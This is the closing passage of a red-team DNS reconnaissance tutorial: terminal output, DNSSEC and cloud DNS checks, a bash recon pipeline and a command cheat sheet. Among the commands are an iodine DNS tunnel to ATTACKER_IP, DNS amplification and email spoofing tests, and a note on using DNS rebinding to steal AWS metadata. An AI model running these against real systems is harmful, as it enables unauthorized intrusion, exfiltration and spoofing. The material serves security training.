test.corp.local,192.168.10.99 - test server found
internal-api.corp.local,10.0.0.50 - internal API exposed!

└─# # Check for wildcard DNS - catch-all records
└─# dig randomnonexistent123.corp.local A +short
192.168.10.5
# Wildcard DNS! Every subdomain resolves - subdomain brute useless

└─# # DNS over HTTPS - bypass DNS-based filtering
└─# curl -sH 'accept: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=corp.local&type=A'
{"Status":0,"TC":false,"RD":true,"RA":true,
 "Answer":[{"name":"corp.local","type":1,
  "TTL":3600,"data":"192.168.10.5"}]}

└─# # DNSSEC check - is the zone signed?
└─# dig corp.local DNSKEY +short
(no records returned)
# DNSSEC not configured - vulnerable to cache poisoning

└─# dig corp.local DS +short @8.8.8.8
(no records returned) - parent zone has no DS record either

(root@kali)-[~]
└─# _
```

Figure: Passive DNS finds old VPN + internal API; wildcard DNS detected; DNSSEC missing



15 — DNSSEC | 16 — CLOUD ATTACK SURFACE VIA DNS

Validation Weaknesses + Cloud Infrastructure Discovery

DNSSEC — Detection and Weaknesses

\$ DNSSEC Commands

```
# Check if DNSSEC is implemented
dig corp.local DNSKEY +short      # zone signing key present?
dig corp.local DS +short @8.8.8.8 # delegation signer in parent?
dig corp.local A +dnssec          # AD (authenticated data) flag set?

# Test DNSSEC validation
dig dnssec-failed.org A # should return SERVFAIL if resolver validates

# Check for DNSSEC misconfig — unsigned child zones
dig sub.corp.local DS +short # if missing = island of insecurity
```

Cloud Infrastructure Discovery via DNS

Cloud services leave distinctive DNS fingerprints. CNAME records pointing to cloud providers reveal which services are in use — and which might be vulnerable to takeover or misconfiguration.



\$ Cloud DNS Discovery Commands

```
# Identify cloud provider from DNS
dig assets.corp.local CNAME +short

# *.s3.amazonaws.com      = AWS S3
# *.azurewebsites.net     = Azure App Service
# *.cloudfront.net        = AWS CloudFront CDN
# *.github.io             = GitHub Pages
# *.herokuapp.com          = Heroku
# *.fastly.net             = Fastly CDN

# Find all cloud CNAMEs across subdomains
cat subdomains.txt | dnsx -cname -silent | \
  grep -E 'amazonaws|azure|heroku|github|cloudfront|fastly'

# Check WAF/CDN – find origin IP behind CloudFlare
dig corp.local A +short # may return CloudFlare IP
# Try: censys.io, shodan, certificate transparency for real IP
nmap --script http-waf-detect -p 80,443 corp.local

# Cloud metadata SSRF via DNS rebinding
# Rebind corp.com → 169.254.169.254 → steal AWS metadata
```



17 — AUTOMATION: BUILDING A DNS RECON PIPELINE

From Domain to Full Attack Surface in One Script

\$ Full DNS Recon Automation Script

```
#!/bin/bash
# RTG DNS Recon Pipeline – full automation
DOMAIN=$1
OUT="recon_${DOMAIN}"
mkdir -p $OUT

echo '[1] Zone transfer attempt...'
for NS in $(dig $DOMAIN NS +short); do
    dig axfr $DOMAIN @$NS 2>/dev/null >> $OUT/zone_transfer.txt
done

echo '[2] Passive subdomain enumeration...'
subfinder -d $DOMAIN -silent -all -o $OUT/passive_subs.txt
curl -s "https://crt.sh/?q=%.$DOMAIN&output=json" | \
jq -r '.[].name_value' | sort -u >> $OUT/passive_subs.txt

echo '[3] Active brute force...'
puredns brute $DOMAIN /opt/wordlists/subdomains.txt \
-r /opt/resolvers.txt -o $OUT/brute_subs.txt 2>/dev/null

echo '[4] Combine and resolve all subdomains...'
cat $OUT/passive_subs.txt $OUT/brute_subs.txt | sort -u | \
dnsx -a -resp -silent -o $OUT/resolved.txt

echo '[5] Find live HTTP/S services...'
cat $OUT/resolved.txt | awk '{print $1}' | \
httpx -status-code -title -tech-detect -o $OUT/live_hosts.txt

echo '[6] Check for subdomain takeovers...'
cat $OUT/resolved.txt | awk '{print $1}' | \
nuclei -t takeovers/ -o $OUT/takeovers.txt 2>/dev/null

echo '[7] Check SPF/DMARC...'
dig $DOMAIN TXT +short | grep spf >> $OUT/email_auth.txt
dig _dmarc.$DOMAIN TXT +short >> $OUT/email_auth.txt

echo "[+] Done! Results in $OUT/"
```



18 — DNS CHEAT SHEET FOR BUG HUNTERS

Every Command — One Page Reference

All DNS records	<code>dig TARGET ANY +noall +answer</code>
A record	<code>dig TARGET A +short</code>
MX record	<code>dig TARGET MX +short</code>
NS record	<code>dig TARGET NS +short</code>
TXT record	<code>dig TARGET TXT +short</code>
SOA record	<code>dig TARGET SOA +short</code>
PTR (reverse DNS)	<code>dig -x IP +short</code>
SRV records	<code>dig _ldap._tcp.TARGET SRV +short</code>
CNAME record	<code>dig sub.TARGET CNAME +short</code>
Query specific NS	<code>dig @NS_IP TARGET A +short</code>
Trace resolution	<code>dig TARGET A +trace</code>
Zone transfer (AXFR)	<code>dig axfr TARGET @NS_IP</code>
Zone xfr (host)	<code>host -l TARGET NS_IP</code>
Zone xfr (dnsrecon)	<code>dnsrecon -d TARGET -t axfr -n NS_IP</code>
Passive subdomains	<code>subfinder -d TARGET -silent -all</code>
CT logs subdomains	<code>curl 'https://crt.sh/?q=%TARGET&output=json' jq -r '[]name_value'</code>
Brute force subs	<code>puredns brute TARGET wordlist.txt -r resolvers.txt</code>
Resolve sub list	<code>cat subs.txt dnsx -a -resp -silent</code>
Live HTTP check	<code>cat resolved.txt httpx -status-code -title</code>
Takeover scan	<code>subjack -w subs.txt -t 100 -o takeovers.txt</code>
Takeover (nuclei)	<code>nuclei -l subs.txt -t takeovers/ -o results.txt</code>
SPF check	<code>dig TARGET TXT +short grep spf</code>
DMARC check	<code>dig _dmarc.TARGET TXT +short</code>
DKIM check	<code>dig default._domainkey.TARGET TXT +short</code>
Wildcard detect	<code>dig randomxyz123.TARGET A +short</code>
DNSSEC check	<code>dig TARGET DNSKEY +short</code>
Open resolver	<code>dig @TARGET_DNS google.com A +short</code>



Reverse range	<code>dnsrecon -r 192.168.10.0/24 -n NS_IP</code>
DNS amplification	<code>dig @TARGET_DNS . NS +bufsize=4096</code>
DNS tunnel (iodine)	<code>iodine -f -P pass ATTACKER_IP tunnel.DOMAIN</code>
AD SRV discover	<code>dig _ldap._tcp.dc._msdcs.TARGET SRV +short</code>
AD GC discover	<code>dig _gc._tcp.TARGET SRV +short</code>
Email spoof test	<code>swaks --to T --from ceo@TARGET --server MAIL_SRV</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.